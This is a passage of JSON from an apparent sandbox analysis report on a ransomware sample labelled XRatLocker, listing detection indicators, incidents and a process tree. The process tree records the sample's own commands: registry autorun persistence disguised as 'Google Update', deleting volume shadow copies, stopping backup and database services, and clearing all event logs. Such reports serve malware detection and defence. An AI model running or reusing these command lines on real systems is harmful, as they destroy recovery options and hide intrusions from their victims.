Call","mitre_attack_id":"T1047","relevance":10,"id":"api-57","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"vssadmin.exe\" touched \"VSSCoordinator Class\" (Path: \"HKCU\\CLSID\\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\")\n \"vssadmin.exe\" touched \"PSFactoryBuffer\" (Path: \"HKCU\\CLSID\\{F2C2787D-95AB-40D4-942D-298F5F757874}\")\n \"WMIC.exe\" touched \"WBEM Locator\" (Path: \"HKCU\\CLSID\\{4590F811-1D3A-11D0-891F-00AA004B2E24}\")\n \"WMIC.exe\" touched \"Free Threaded XML DOM Document\" (Path: \"HKCR\\SOFTWARE\\CLASSES\\CLSID\\{F6D90F12-9C73-11D3-B32E-00C04F990BB4}\")\n \"WMIC.exe\" touched \"Windows Management and Instrumentation\" (Path: \"HKCU\\CLSID\\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\\TREATAS\")\n \"WMIC.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IWbemServices\" (Path: \"HKCU\\CLSID\\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\\TREATAS\")\n \"WMIC.exe\" touched \"Microsoft WBEM WbemClassObject Marshalling proxy\" (Path: \"HKCU\\CLSID\\{4590F812-1D3A-11D0-891F-00AA004B2E24}\\TREATAS\")\n \"WMIC.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject\" (Path: \"HKCU\\CLSID\\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\\TREATAS\")","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$29","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"$2a","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2b","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$2c","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"WMIC.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"Learn how to recover your files.txt\" has type \"ASCII text with CRLF line terminators\"\n \"ExcelLR.cab.aac\" has type \"data\"\n \"PptLR.cab.aac\" has type \"data\"\n \"dotnet.au3.aac\" has type \"data\"\n \"ExcelMUI.xml.aac\" has type \"data\"\n \"Setup.xml.aac\" has type \"data\"\n \"PowerPointMUI.xml.aac\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"\" called \"OpenService\" to access the \"LanmanServer\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Ransomware","details_count":2,"details":[{"detail":"Detected indicator that file is ransomware"},{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Executes WMI queries known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Detected a large number of ARP broadcast requests (network device lookup)"}],"sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]}]},"activity":{"stats":{"process_count":45,"spawned_processes_count":45,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":7,"imported_dlls_count":87,"dropped_files_count":0,"extracted_files_count":22,"files_written_count":104,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["haknata","evasive","ransomware"],"sample_flags":["Extracted Files","Network Traffic"],"sandbox_reports":[{"id":"5fbc32972e987559b110aa7e","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.Ransom.XRatLocker","submit_name":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff.bin","analysis_start_time":"2020-11-23T22:07:23+00:00","indicators_count":{"informative":14,"suspicious":14,"malicious":8},"tags":["Extracted Files"],"is_in_unified_schema":true},{"id":"5a7716197ca3e1527636ecd3","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.Ransom.XRatLocker","contacted_countries":["EU","USA"],"submit_name":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff.bin","analysis_start_time":"2018-02-04T15:17:12+00:00","indicators_count":{"informative":15,"suspicious":22,"malicious":9},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"5a76c5617ca3e122890d58c3","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.Ransom.XRatLocker","submit_name":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff.bin","analysis_start_time":"2018-02-04T09:33:00+00:00","indicators_count":{"informative":13,"suspicious":25,"malicious":9},"tags":["Extracted Files"],"is_in_unified_schema":true},{"id":"598066177ca3e1601a6f95f5","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.Ransom.XRatLocker","submit_name":"svchost.exe","analysis_start_time":"2017-08-01T12:28:42+00:00","indicators_count":{"informative":12,"suspicious":25,"malicious":8},"tags":["Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"66.225.197.197","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]}],"dns_resolutions":[{"domain":"crl4.digicert.com","address":"66.225.197.197","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"domain":"crl3.digicert.com","address":"93.184.220.29","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]}],"http_requests":[{"host":"crl3.digicert.com","host_ip":"93.184.220.29:80","url":"/sha2-ha-cs-g1.crl","method":"GET","header":"GET /sha2-ha-cs-g1.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl3.digicert.com","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}],"processes":[{"pid":4016,"ppid":0,"name":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff.bin.exe","command_line":"","sha256":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff","normalized_path":"C:\\10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff.bin.exe","uid":"00064505-00004016","icon":"$37"},{"pid":2748,"ppid":4016,"name":"cmd.exe","command_line":"/c mkdir C:\\tmp","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064640-00002748"},{"pid":2292,"ppid":4016,"name":"cmd.exe","command_line":"/c copy svchost.exe C:\\tmp","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064650-00002292"},{"pid":2712,"ppid":4016,"name":"cmd.exe","command_line":"/c attrib +s +h \"C:\\tmp\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064659-00002712"},{"pid":3428,"ppid":2712,"name":"attrib.exe","command_line":"attrib +s +h \"C:\\tmp\"","sha256":"db24550c3183fc38f9440134322f124447dfe0a3564490180418305d7899d159","normalized_path":"%WINDIR%\\System32\\attrib.exe","parent_uid":"00064659-00002712","uid":"00064663-00003428"},{"pid":3572,"ppid":4016,"name":"cmd.exe","command_line":"/c copy svchost.exe %AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064680-00003572"},{"pid":3488,"ppid":4016,"name":"cmd.exe","command_line":"/c REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064688-00003488"},{"pid":2244,"ppid":3488,"name":"reg.exe","command_line":"REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00064688-00003488","uid":"00064691-00002244"},{"pid":4020,"ppid":4016,"name":"cmd.exe","command_line":"/c REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064704-00004020"},{"pid":3148,"ppid":4020,"name":"reg.exe","command_line":"REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00064704-00004020","uid":"00064710-00003148"},{"pid":2364,"ppid":4016,"name":"cmd.exe","command_line":"/c REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064731-00002364"},{"pid":2876,"ppid":2364,"name":"reg.exe","command_line":"REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00064731-00002364","uid":"00064736-00002876"},{"pid":2296,"ppid":4016,"name":"cmd.exe","command_line":"/c REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064750-00002296"},{"pid":3684,"ppid":2296,"name":"reg.exe","command_line":"REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00064750-00002296","uid":"00064754-00003684"},{"pid":3304,"ppid":4016,"name":"cmd.exe","command_line":"/c REG ADD \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064769-00003304"},{"pid":2992,"ppid":3304,"name":"reg.exe","command_line":"REG ADD \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00064769-00003304","uid":"00064773-00002992"},{"pid":3636,"ppid":4016,"name":"cmd.exe","command_line":"/c REG ADD \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064787-00003636"},{"pid":2088,"ppid":3636,"name":"reg.exe","command_line":"REG ADD \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\" /V \"Google Update\" /t REG_SZ /F /D \"C:\\tmp\\svchost.exe\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00064787-00003636","uid":"00064792-00002088"},{"pid":1504,"ppid":4016,"name":"cmd.exe","command_line":"/c start vssadmin delete shadows /all /quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064811-00001504"},{"pid":3724,"ppid":1504,"name":"vssadmin.exe","command_line":"vssadmin delete shadows /all /quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00064811-00001504","uid":"00064817-00003724"},{"pid":3512,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%Cobian%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00064824-00003512"},{"pid":3264,"ppid":3512,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%Cobian%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00064824-00003512","uid":"00064830-00003264"},{"pid":3772,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%Acronis%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00065166-00003772"},{"pid":3028,"ppid":3772,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%Acronis%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00065166-00003772","uid":"00065171-00003028"},{"pid":3624,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%Veeam%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00065508-00003624"},{"pid":3308,"ppid":3624,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%Veeam%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00065508-00003624","uid":"00065513-00003308"},{"pid":3072,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%Exchange%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00065851-00003072"},{"pid":3056,"ppid":3072,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%Exchange%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00065851-00003072","uid":"00065857-00003056"},{"pid":1708,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%Apache%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00066194-00001708"},{"pid":292,"ppid":1708,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%Apache%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00066194-00001708","uid":"00066200-00000292"},{"pid":1524,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%SQL%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00066538-00001524"},{"pid":3972,"ppid":1524,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%SQL%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00066538-00001524","uid":"00066544-00003972"},{"pid":3268,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%postgres%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00066880-00003268"},{"pid":3040,"ppid":3268,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%postgres%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00066880-00003268","uid":"00066887-00003040"},{"pid":456,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%server%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00067223-00000456"},{"pid":2908,"ppid":456,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%server%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00067223-00000456","uid":"00067231-00002908"},{"pid":1516,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%oracle%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00067568-00001516"},{"pid":1816,"ppid":1516,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%oracle%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00067568-00001516","uid":"00067574-00001816"},{"pid":1420,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%Firebird%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00067912-00001420"},{"pid":2764,"ppid":1420,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%Firebird%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00067912-00001420","uid":"00067919-00002764"},{"pid":3412,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%FTP%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00068255-00003412"},{"pid":2184,"ppid":3412,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%FTP%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00068255-00003412","uid":"00068262-00002184"},{"pid":2928,"ppid":4016,"name":"cmd.exe","command_line":"/c WMIC SERVICE WHERE \"caption LIKE '%backup%'\" CALL STOPSERVICE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00068598-00002928"},{"pid":2168,"ppid":2928,"name":"WMIC.exe","command_line":"WMIC SERVICE WHERE \"caption LIKE '%backup%'\" CALL STOPSERVICE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00068598-00002928","uid":"00068604-00002168"},{"pid":1792,"ppid":4016,"name":"cmd.exe","command_line":"/c for /F \"tokens=*\" %%a in ('wevtutil.exe el') DO wevtutil.exe cl \"%%a\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00064505-00004016","uid":"00068943-00001792"}],"all_imported_dlls":["sechost.dll","sspicli.dll","api-ms-win-core-synch-l1-2-0.dll","urlmon.dll","shell32.dll","kernel32.dll","cscapi.dll","rpcrt4.dll","mpr.dll","vss_ps.dll","rpcss.dll","apphelp.dll","ulib.dll","wbemsvc.dll","ntdsapi.dll","gdi32.dll","netapi32.dll","ole32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","ntdll.dll","dhcpcsvc.dll","RpcRtRemote.dll","atl.dll","framedynos.dll","MSOXMLMF.DLL","WSHTCPIP.DLL","winbrand.dll","bcrypt.dll","msvcrt.dll","netutils.dll","wbemprox.dll","version.dll","iertutil.dll","usp10.dll","api-ms-win-downlevel-version-l1-1-0.dll","wininet.dll","lpk.dll","vssapi.dll","wbemcomn.dll","normaliz.dll","srvcli.dll","KernelBase.dll","advapi32.dll","imm32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","fastprox.dll","wkscli.dll","cryptbase.dll","profapi.dll","uxtheme.dll","mswsock.dll","nsi.dll","ws2_32.dll","msxml3r.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","userenv.dll","msvcr90.dll","shlwapi.dll","winnsi.dll","vsstrace.dll","msxml3.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","oleaut32.dll","clbcatq.dll","user32.dll","msctf.dll","wtsapi32.dll","secur32.dll","IPHLPAPI.DLL","cryptsp.dll","rsaenh.dll","wow64cpu.dll","wow64win.dll","wow64.dll","davclnt.dll","winsta.dll","crypt32.dll","